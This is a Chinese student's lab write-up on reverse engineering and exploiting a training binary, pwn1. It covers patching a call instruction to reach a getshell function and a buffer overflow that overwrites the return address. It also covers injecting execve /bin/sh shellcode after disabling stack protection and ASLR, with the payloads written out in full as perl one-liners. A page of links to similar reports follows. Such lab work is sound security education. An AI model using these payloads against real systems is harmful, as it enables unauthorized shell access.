2018-2019-2 网络对抗技术 20165228 Exp1 PC平台逆向破解

实验内容及步骤

第一部分:直接修改程序机器指令,改变程序执行流程

关键:通过修改call指令跳转的地址,将原本指向被调用函数入口的地址修为getshell函数入口的地址,从而达到目的

  • 对pwn1进行反汇编,分析函数执行的步骤

    objdump -d pwn1

    • getshell函数入口地址为0x0804847d

    • foo函数入口地址为0x08048491

    • main函数中调用foo函数的机器码为e8 d7 ff ff ff ,CPU就会转而执行 “EIP +0x d7ffffff”这个位置的指令,在执行call之前EIP为0x080484ba

    • 0xd7ffffff是补码,表示-41

    • 调用foo时地址差:0x080484ba+0xd7ffffff=0x08048491

    • 修改执行流程时的地址差:0x080484ba+0xc3ffffff=0x0804847d

  • 操作:

  • vim pwn1编辑pwn1

  • :%!xxd进入十六进制模式

  • /d7查找内容

  • 0xd7ffffff修改为0xc3ffffff

  • :%!xxd -r转换为原进制

  • 保存

  • 结果验证:

通过构造输入参数,造成BOF攻击,改变程序执行流

关键:

1、构造出用于BOF攻击的字符串

2、将字符串中的getshell命令覆盖在栈帧中正确的位置,即执行ret函数时压入的返回地址

  • 为了得到恰好覆盖到返回地址的字符串长度,进行输入运行尝试。

    进入GDB调试,并对pwn1输入1111111122222222333333334444444412345678

  • 得到覆盖在返回地址的字符ASCII码值0x34333231即1234。因此,我们只需要将字符串中“1234”替换为getshell的返回地址0x0804847d

  • 由于无法直接敲入16进制的数,所以先生成包括字符串的文件

    perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

  • 结合文本输出命令cat与管道符|,将input的内容作为./pwn1的输入。

  • 验证结果:攻击成功

Shellcode注入攻击
  • 准备:
apt-get install execstack安装execstack
# execstack -s pwn1 //设置堆栈可执行
# execstack -q pwn1 //查询文件的堆栈是否可执行
# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
# more /proc/sys/kernel/randomize_va_space //查看地址随机化是否已经关闭

  • 打开终端注入攻击

  • 查询其进程号,并进入gdb调试观察寄存器地址

gdb
attach 34238
disassemble foo
break *0x080484ae
c(运行pwn1的终端按下回车后)
info r esp
x/16x 0xffffd21c





得到开始的shellcode地址:0xffffd220

````perl -e 'print "A" x 32;print "\x20\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x20\xd3\xff\xff\x00"' > input_shellcode```

  • 验证:成功注入

遇到的问题

1、在做构造字符串时,将得出的shellcode地址替换错了位置,导致一直提示非法指令

解决:在一遍遍核对地址后,发现ExpGuides博客里有坑- - 然后看了后面部分才纠正了错误。

实验感想

  • 本次的实验主题是我们一直都很熟悉的名字,但却是第一次尝试缓冲区溢出攻击,十分有趣。实验中,我们也复习了上学期信息安全系统设计基础的相关内容,比如栈帧。同时对缓冲区溢出的原理有了更加深入的理解。不过过程中也出现了很多问题,比如kali机的dns配置问题,我之前装好后只是尝试ping网关,发现能ping通后就没有进一步配置,但是当我安装execstack时一直提示无法解析,然后我又翻了很多博客才成功解决了该问题。后来,由于我对构造的字符串了解不够,也花费了很多时间。

问题回答

  • 什么是漏洞?漏洞有什么危害?

    • 漏洞则是软件编程过程中的缺陷,就像本实验中的缓存区太小一样,很容易溢出覆盖了栈帧中的其他区域。漏洞会对系统的稳定性和安全性造成影响,会造成信息泄露或者权限盗用等严重后果。
  • NOP, JNE, JE, JMP, CMP汇编指令的机器码
    • NOP:90

    • JNE:75

    • JE:74

    • CMP:

      CMP reg8/mem8,reg8:38

      CMP reg16/mem16,reg16:39

      CMP reg8,reg8/mem8:3A

      CMP reg16,reg16/mem16:3B

      CMP al,immed8:3C

      CMP ax,immed16:3D

    • JMP:

      Jmp near:E9

      Jmp far:EA

      Jmp short:EB

      Jmp word:FF

2018-2019-2 网络对抗技术 20165228 Exp1 PC平台逆向破解的更多相关文章

  1. 20165221 《网络对抗技术》EXP1 PC平台逆向破解

    20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...

  2. 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...

  3. 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解

    - 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...

  4. 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解

    2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...

  5. 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...

  6. 2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解 实验1-1直接修改程序机器指令,改变程序执行流程 先输入objdump -d 20165305pwn2查看反汇编代码 ...

  7. 2018-2019-2 《网络对抗技术》 Exp1 PC平台逆向破解 20165215

    2018-2019-2 <网络对抗技术> Exp1 PC平台逆向破解 20165215 目录 知识点描述 实验步骤 (一)直接修改程序机器指令,改变程序执行流程 (二)通过构造输入参数,造 ...

  8. 2018-2019-2 20165316 《网络对抗技术》Exp1 PC平台逆向破解

    2018-2019-2 20165316 <网络对抗技术>Exp1 PC平台逆向破解 1 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件 ...

  9. 20165214 2018-2019-2 《网络对抗技术》Exp1 PC平台逆向破解 Week3

    <网络对抗技术>Exp1 PC平台逆向破解之"逆向及Bof基础实践说明" Week3 一. 实验预习 1.什么是漏洞?漏洞有什么危害? 漏洞就是在计算机硬件.软件.协议 ...

随机推荐

  1. element-ui <el-select> + <el-option> 回显格式为中文 传值格式为对应value

    <template> <!-- 需求:使用 <el-select> + <el-option> 关于下拉选择 前端显示中文,传值为对应格式value --&g ...

  2. Surface RT2使用情况

    Surface RT2是一个6年的古董了,暂时还能使用的功能包括但不限于一些xbox小游戏,ppt阅读(加载慢),pdf阅读(加载慢),word阅读. 2018/6/16 爱奇艺关闭了大部分win8R ...

  3. MySQL—ORM框架,sqlalchemy模块

    武老师博客:ORM框架介绍 import os #1.当一类函数公用同样参数时候,可以转变成类运行 - 分类 #2.面向对象: 数据和逻辑组合在一起了 #3. 一类事物共同用有的属性和行为(方法) # ...

  4. 面试北京XX数通总结

    软件架构师何志丹 1             总括 1.1     面试时间 2019年1月21号. 1.2     公司概况 员工近20人,其中开发人员6人,全部objectarx(C++),全部老 ...

  5. 由数据库表生成jpa实体工具

    package cn.net.yto.aaa.dao.generator; /** * 由数据库表生成jpa实体工具 * * @author huike * Created by gf.liu on ...

  6. Saku实力挖坑记!!(十八)

    Saiku实力挖坑记!!!!!!! 我可真真真的是个挖坑小能手呀!不知道你们有没有遇到过这个异常: Enclosure class mondrian.olap.MondrianDef not foun ...

  7. PHP多进程的实际处理

    多进程应用大批量的数据是非常舒服的一件事情. 处理之前理解两个概念:孤儿进程和僵尸进程 孤儿进程: 是指父进程在fork出子进程后,自己先完了.这个问题很尴尬,因为子进程从此变得无依无靠.无家可归,变 ...

  8. JAVAEE第四周

    一.定义 Async函数是Generator函数的语法糖,但相较来说比Generator函数更强大一些.主要用于1解决一次异步调用异步函数的问题,即当第一个异步调用结束后,再调用第二个异步函数:等第二 ...

  9. 北航OO第一单元总结

    我本着公平公开公正的态度作出以下评价: 1.面向对象真的很修身养性 2.有一个好的身体非常重要 3.互相hack可以暴露人的阴暗面 好了,步入正题. 一.作业分析 1.第一次作业分析 1.1类图 1. ...

  10. 在状态栏增加图标(Android 6.0)

    在Android 启动之后,在SystemServer.java的run方法中,调用了StatusBarManagerService的构造方法,在StatusBarManagerService的构造方 ...